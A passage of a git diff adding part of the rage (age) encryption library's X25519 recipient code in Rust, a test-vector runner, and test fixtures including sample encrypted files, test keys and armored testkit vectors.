Variant::Bech32).expect("HRP is valid"); + let ret = SecretString::from(encoded.to_uppercase()); + + // Clear intermediates + sk_bytes.zeroize(); + // TODO: bech32::u5 doesn't implement Zeroize + // sk_base32.zeroize(); + encoded.zeroize(); + + ret + } + + /// Returns the recipient key for this secret key. + pub fn to_public(&self) -> Recipient { + Recipient((&self.0).into()) + } +} + +impl crate::Identity for Identity { + fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + if stanza.tag != X25519_RECIPIENT_TAG { + return None; + } + + // Enforce valid and canonical stanza format. + // https://c2sp.org/age#x25519-recipient-stanza + let ephemeral_share = match &stanza.args[..] { + [arg] => match base64_arg::<_, EPK_LEN_BYTES, 33>(arg) { + Some(ephemeral_share) => ephemeral_share, + None => return Some(Err(DecryptError::InvalidHeader)), + }, + _ => return Some(Err(DecryptError::InvalidHeader)), + }; + if stanza.body.len() != ENCRYPTED_FILE_KEY_BYTES { + return Some(Err(DecryptError::InvalidHeader)); + } + + let epk: PublicKey = ephemeral_share.into(); + let encrypted_file_key: [u8; ENCRYPTED_FILE_KEY_BYTES] = stanza.body[..] + .try_into() + .expect("Length should have been checked above"); + + let pk: PublicKey = (&self.0).into(); + let shared_secret = self.0.diffie_hellman(&epk); + // Replace with `SharedSecret::was_contributory` once x25519-dalek supports newer + // zeroize (https://github.com/dalek-cryptography/x25519-dalek/issues/74#issuecomment-1159481280). + if shared_secret + .as_bytes() + .iter() + .fold(0, |acc, b| acc | b) + .ct_eq(&0) + .into() + { + return Some(Err(DecryptError::InvalidHeader)); + } + + let mut salt = [0; 64]; + salt[..32].copy_from_slice(epk.as_bytes()); + salt[32..].copy_from_slice(pk.as_bytes()); + + let enc_key = hkdf(&salt, X25519_RECIPIENT_KEY_LABEL, shared_secret.as_bytes()); + + // A failure to decrypt is non-fatal (we try to decrypt the recipient + // stanza with other X25519 keys), because we cannot tell which key + // matches a particular stanza. + aead_decrypt(&enc_key, FILE_KEY_BYTES, &encrypted_file_key) + .ok() + .map(|mut pt| { + // It's ours! + Ok(FileKey::init_with_mut(|file_key| { + file_key.copy_from_slice(&pt); + pt.zeroize(); + })) + }) + } +} + +/// The standard age recipient type. Files encrypted to this recipient can be decrypted +/// with the corresponding [`Identity`]. +/// +/// This recipient type is anonymous, in the sense that an attacker can't tell from the +/// age-encrypted file alone if it is encrypted to a certain recipient. +#[derive(Clone, PartialEq, Eq, Hash)] +pub struct Recipient(PublicKey); + +impl std::str::FromStr for Recipient { + type Err = &'static str; + + /// Parses a recipient key from a string. + fn from_str(s: &str) -> Result { + parse_bech32(s) + .ok_or("invalid Bech32 encoding") + .and_then(|(hrp, bytes)| { + if hrp == PUBLIC_KEY_PREFIX { + TryInto::<[u8; 32]>::try_into(&bytes[..]) + .map_err(|_| "incorrect pubkey length") + .map(PublicKey::from) + .map(Recipient) + } else { + Err("incorrect HRP") + } + }) + } +} + +impl fmt::Display for Recipient { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + write!( + f, + "{}", + bech32::encode( + PUBLIC_KEY_PREFIX, + self.0.as_bytes().to_base32(), + Variant::Bech32 + ) + .expect("HRP is valid") + ) + } +} + +impl fmt::Debug for Recipient { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}", self) + } +} + +impl crate::Recipient for Recipient { + fn wrap_file_key( + &self, + file_key: &FileKey, + ) -> Result<(Vec, HashSet), EncryptError> { + let rng = OsRng; + let esk = EphemeralSecret::random_from_rng(rng); + let epk: PublicKey = (&esk).into(); + let shared_secret = esk.diffie_hellman(&self.0); + + // It is vanishingly unlikely that we generate the all-zero esk, so if we do then + // it is likely that the RNG is bad, and we should fail loudly. + // Replace with `SharedSecret::was_contributory` once x25519-dalek supports + // newer zeroize (https://github.com/dalek-cryptography/x25519-dalek/issues/74#issuecomment-1159481280). + if bool::from( + shared_secret + .as_bytes() + .iter() + .fold(0, |acc, b| acc | b) + .ct_eq(&0), + ) { + panic!("Generated the all-zero esk; OS RNG is likely failing!"); + } + + let mut salt = [0; 64]; + salt[..32].copy_from_slice(epk.as_bytes()); + salt[32..].copy_from_slice(self.0.as_bytes()); + + let enc_key = hkdf(&salt, X25519_RECIPIENT_KEY_LABEL, shared_secret.as_bytes()); + let encrypted_file_key = aead_encrypt(&enc_key, file_key.expose_secret()); + + let encoded_epk = BASE64_STANDARD_NO_PAD.encode(epk.as_bytes()); + + Ok(( + vec![Stanza { + tag: X25519_RECIPIENT_TAG.to_owned(), + args: vec![encoded_epk], + body: encrypted_file_key, + }], + HashSet::new(), + )) + } +} + +#[cfg(test)] +pub(crate) mod tests { + use age_core::{format::FileKey, secrecy::ExposeSecret}; + use proptest::prelude::*; + use x25519_dalek::{PublicKey, StaticSecret}; + + use super::{Identity, Recipient}; + use crate::{Identity as _, Recipient as _}; + + pub(crate) const TEST_SK: &str = + "AGE-SECRET-KEY-1GQ9778VQXMMJVE8SK7J6VT8UJ4HDQAJUVSFCWCM02D8GEWQ72PVQ2Y5J33"; + pub(crate) const TEST_PK: &str = + "age1t7rxyev2z3rw82stdlrrepyc39nvn86l5078zqkf5uasdy86jp6svpy7pa"; + + #[test] + fn pubkey_encoding() { + let pk: Recipient = TEST_PK.parse().unwrap(); + assert_eq!(pk.to_string(), TEST_PK); + } + + #[test] + fn pubkey_from_secret_key() { + let key = TEST_SK.parse::().unwrap(); + assert_eq!(key.to_public().to_string(), TEST_PK); + } + + proptest! { + #[test] + fn wrap_and_unwrap(sk_bytes in proptest::collection::vec(any::(), ..=32)) { + let file_key = FileKey::new(Box::new([7; 16])); + let sk = { + let mut tmp = [0; 32]; + tmp[..sk_bytes.len()].copy_from_slice(&sk_bytes); + StaticSecret::from(tmp) + }; + + let res = Recipient(PublicKey::from(&sk)) + .wrap_file_key(&file_key); + prop_assert!(res.is_ok()); + let (stanzas, labels) = res.unwrap(); + prop_assert!(labels.is_empty()); + + let res = Identity(sk).unwrap_stanzas(&stanzas); + prop_assert!(res.is_some()); + let res = res.unwrap(); + prop_assert!(res.is_ok()); + let res = res.unwrap(); + + prop_assert_eq!(res.expose_secret(), file_key.expose_secret()); + } + } +} diff --git a/lib/rage/age/tests/test_vectors.rs b/lib/rage/age/tests/test_vectors.rs new file mode 100644 index 0000000..1924b10 --- /dev/null +++ b/lib/rage/age/tests/test_vectors.rs @@ -0,0 +1,65 @@ +use std::fs; +use std::io::Read; + +use age::scrypt; +use age_core::secrecy::SecretString; + +#[test] +#[cfg(feature = "cli-common")] +fn age_test_vectors() -> Result<(), Box> { + use age::cli_common::StdinGuard; + + for test_vector in fs::read_dir("./tests/testdata")?.filter(|res| { + res.as_ref() + .map(|e| { + e.path() + .extension() + .map(|ext| ext == "age") + .unwrap_or(false) + }) + .unwrap_or(false) + }) { + let test_vector = test_vector?; + let path = test_vector.path(); + let name = path.file_stem().unwrap().to_str().unwrap(); + let expect_failure = name.starts_with("fail_"); + + let d = age::Decryptor::new(fs::File::open(&path)?)?; + let res = if !d.is_scrypt() { + let identities = age::cli_common::read_identities( + vec![format!( + "{}/{}_key.txt", + path.parent().unwrap().to_str().unwrap(), + name + )], + None, + &mut StdinGuard::new(false), + )?; + d.decrypt(identities.iter().map(|i| i.as_ref() as &dyn age::Identity)) + } else { + let mut passphrase = String::new(); + fs::File::open(format!( + "{}/{}_password.txt", + path.parent().unwrap().to_str().unwrap(), + name + ))? + .read_to_string(&mut passphrase)?; + let passphrase = SecretString::from(passphrase); + let identity = scrypt::Identity::new(passphrase); + d.decrypt(Some(&identity as _).into_iter()) + }; + + match (res, expect_failure) { + (Ok(mut r), false) => { + // Check that we can read the entire file. + let mut buf = vec![]; + r.read_to_end(&mut buf)?; + } + (Ok(_), true) => panic!("Test vector {} did not fail as expected", name), + (Err(e), false) => panic!("Test vector {} failed unexpectedly: {:?}", name, e), + (Err(_), true) => (), + } + } + + Ok(()) +} diff --git a/lib/rage/age/tests/testdata/empty_recipient_body.age b/lib/rage/age/tests/testdata/empty_recipient_body.age new file mode 100644 index 0000000..55769e9 --- /dev/null +++ b/lib/rage/age/tests/testdata/empty_recipient_body.age @@ -0,0 +1,6 @@ +age-encryption.org/v1 +-> ssh-ed25519 o1Hudg SZISkI5Qn8YgUBmTKG/Zp/QpFjXWvAivzvB+hOcN5W8 +dYfwGWYvCwpSU5EXIC1XqfXdsBvCi3kMypdqCVShrpk +-> joint-oil-hw +--- gC/27VAgqOEzAQMKHvBjih7sJ1oDKht+HNdguTIbjt8 +fëtAeµÖ¨&8{Ëéðνcat—íΘœ¯šË·}«=šC†Ÿu \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/empty_recipient_body_key.txt b/lib/rage/age/tests/testdata/empty_recipient_body_key.txt new file mode 100644 index 0000000..a91b78c --- /dev/null +++ b/lib/rage/age/tests/testdata/empty_recipient_body_key.txt @@ -0,0 +1,7 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACAwKgrb/LkvtI887QylSoUh5xUlKr1fb37euR6et5jHowAAAJgxqUx+MalM +fgAAAAtzc2gtZWQyNTUxOQAAACAwKgrb/LkvtI887QylSoUh5xUlKr1fb37euR6et5jHow +AAAEC7gKj74YIwaM1BT2tnODjfeZJvo8lcazvL6Uljv3+nIDAqCtv8uS+0jzztDKVKhSHn +FSUqvV9vft65Hp63mMejAAAADnJ1bm5lckBmdi1hejMyAQIDBAUGBw== +-----END OPENSSH PRIVATE KEY----- diff --git a/lib/rage/age/tests/testdata/fail_large_filekey_scrypt.age b/lib/rage/age/tests/testdata/fail_large_filekey_scrypt.age new file mode 100644 index 0000000..2f04702 --- /dev/null +++ b/lib/rage/age/tests/testdata/fail_large_filekey_scrypt.age @@ -0,0 +1,6 @@ +age-encryption.org/v1 +-> scrypt qeKad+OgIkBbr/ndSa7J3Q 1 +C2tmV7/uZjRafxqaQd1JhYkM2KxuHHBy3/d2dJNEZEh8rZCqYfvE/eJUXqiqZsZa +6kWgG1qa6Q6sXPz0vIIpYHGf4gzxG9oTVonMke2kHC4 +--- FQeacPQobvFBd0tuIQnQDd/NEDR4G4MfylkXiq9ZqZ0 +Ãù€pÛÂt€t˜Ë3qòÆ)¬ÌÈŒv´¨QÆoÌšK÷¶7ÜØ)ø%a \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/fail_large_filekey_scrypt_password.txt b/lib/rage/age/tests/testdata/fail_large_filekey_scrypt_password.txt new file mode 100644 index 0000000..0249b11 --- /dev/null +++ b/lib/rage/age/tests/testdata/fail_large_filekey_scrypt_password.txt @@ -0,0 +1 @@ +dog-old-little-breeze-novel-razor-battle-replace-lake-horse \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/fail_large_filekey_x25519.age b/lib/rage/age/tests/testdata/fail_large_filekey_x25519.age new file mode 100644 index 0000000..100234e --- /dev/null +++ b/lib/rage/age/tests/testdata/fail_large_filekey_x25519.age @@ -0,0 +1,6 @@ +age-encryption.org/v1 +-> X25519 /Gt0E6JT7yuYHlwsGW5LbpEEJawOc+QMeMAS+hoOIgw +XU/4Zkz4MksDhge0kosiMTJF8tHnOP0ZSi+6aaMqLMS1PlMIs95nKz3H7JGesTwA +tsxuQrj+TuoGouNB1O0VshA9vsHGurn0Dtw5e7bkw9Q +--- jQNSF6blozj2QFYJ/2iqy0wUcPuz/8vCS7RgKH8wjNI +Þ9­¶‡yË_£§R\¯ÿm\¥û©Uv6Qȶ»ñmK»a¢©êv®©˜2 \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/fail_large_filekey_x25519_key.txt b/lib/rage/age/tests/testdata/fail_large_filekey_x25519_key.txt new file mode 100644 index 0000000..39c1631 --- /dev/null +++ b/lib/rage/age/tests/testdata/fail_large_filekey_x25519_key.txt @@ -0,0 +1,3 @@ +# created: 2020-09-19T18:42:11+02:00 +# public key: age1uc8zlurjyjpenrslc2thyl28u7ylz6x8c2g9yphvjha6xm8ppf3slq0l25 +AGE-SECRET-KEY-1D8JAD8SXNFVQEFHAUNNAX4QCE3K5CUKMT7YYHNGTUSSP97YGWL4STV89UH diff --git a/lib/rage/age/tests/testdata/testkit/armor b/lib/rage/age/tests/testdata/testkit/armor new file mode 100644 index 0000000..7ebd0db --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor @@ -0,0 +1,13 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_crlf b/lib/rage/age/tests/testdata/testkit/armor_crlf new file mode 100644 index 0000000..b474ce1 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_crlf @@ -0,0 +1,14 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes +comment: CRLF is allowed as a end of line for armored files + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_empty_line_begin b/lib/rage/age/tests/testdata/testkit/armor_empty_line_begin new file mode 100644 index 0000000..5900cc5 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_empty_line_begin @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- + +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_empty_line_end b/lib/rage/age/tests/testdata/testkit/armor_empty_line_end new file mode 100644 index 0000000..0a6975f --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_empty_line_end @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= + +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_eol_between_padding b/lib/rage/age/tests/testdata/testkit/armor_eol_between_padding new file mode 100644 index 0000000..f69d0cf --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_eol_between_padding @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW2ewwwqo +mNlxYv6gMOKyDNzgiw= += +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_full_last_line b/lib/rage/age/tests/testdata/testkit/armor_full_last_line new file mode 100644 index 0000000..54439f0 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_full_last_line @@ -0,0 +1,13 @@ +expect: success +payload: 724a112a2cac139a4fca3ea0f799f2e5ccd1d0db46af654dee40567bff16ee33 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW3bj4iHS +YS3WWUtZB5wJqKgEe8kpsp0iOnD2CNG4DVKBC0Z7SAcCFb8xdwV9CRavSEE7OU1c +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_garbage_encoded b/lib/rage/age/tests/testdata/testkit/armor_garbage_encoded new file mode 100644 index 0000000..8f95ca3 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_garbage_encoded @@ -0,0 +1,1379 @@ +expect: payload failure +payload: de2f256064a0af797747c2b97505dc0b9f3df0de4f489eac731c23ae9ca9cc31 +file key: 7aa5bdac0e6afeed3dd0a7eccb42af44 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +armored: yes +comment: there is trailing garbage encoded after the final chunk + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCnBkWnErVDB2ODdFMFQ4UW1XbU5m +U25jMjl4Slp6VDJkcDZ6MSt0NW9JcUkKLS0tIEJLMUtNY2c0TlllcHdNaFVsWVFF +VHFsUHkyMDlXdzdWeTRiS2NLTXFKekEKyC9x64ICm3cTY5nkheh59DyiVHEv+QMv +VsRatIRke5d4B+ruVrfJ+PItgeoGV74jlMRjN0UYOHFWss5j3qFhgiRiLzrL6AQU +Yyo4H2796NRBfo6Gyol4NMrleRJUpEH2AW82NzDUQsdj8ohjNIlDpvYn0jvavi2Z +soh8Yu3gy8C3QMrlwNVoKcgt3dcI+rdIPponeoWK+xqgZrIOkrlSD7kMKmt+Kmht +s0K5mJ55I3anKgb0sxGPMu219kJm8OZKzEW22MIqzhTCBxE+RlKp3XxYVIKDvYeZ +ig87GECiE+hvrUjsA+lovQOXL7xrwT+kXcOEZu5AvmHlaE+mfYQhZHZV+G7EHk+g +3rEZr8gU9iyUoVQP73ch5XB8vwofF9MVzccGOk0AgkFvwBp+P+vQ0ESH3TwJWNLm +UccCUl7DkMAIpX2TuQ0bygZxviRdt6vSgraU8XLo108AeEUNnI7feybE+mVAREgc +FctbcI8gT7SGuoRMJX8Gtw1X3G4cfYPBkJb2yc3+rtQIHp9ggFwALjlNiNynVu3M +R5FhccRwNphuVz6XjNgZxsrahwBRCGs7nKtdCL0iYLf49wm8H6WAkso6RJumrzmr +iTNRGHeNlPegjo4CHgK8swWi6epHtghbPwRwZn1ug3xqK7Hc8xdb8pGg7HrOmv6+ +OyW+V1uH4s/5RRp0crgDNt2VNcBABeTxCUrKBzKuZAW1BL8Xjo49tbFTWoIOsOx9 +FeKYZwOC8bUeJChxbedFMAxJAMU9uWcaWOFiNJ/NqhI2w93EDsDkb0YFW8Lheuuq +ekbsLe4MxiDWeBQxbATPBgu0FweN8HmD5RmwBOkxt2IjVGWhVcw/tX4kUlvSojBX +0kOYEurv0ikPjV51JoICqWbngpBIeawnt3W32EADjHfe5Ahp6lcfIqE+iN17mjoP +aXVUmJ1wluCEV+YQGCmYe0g8gqHCl/BE3syNOiAj50DJh/JABa9on3AWaLj9sYyG +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 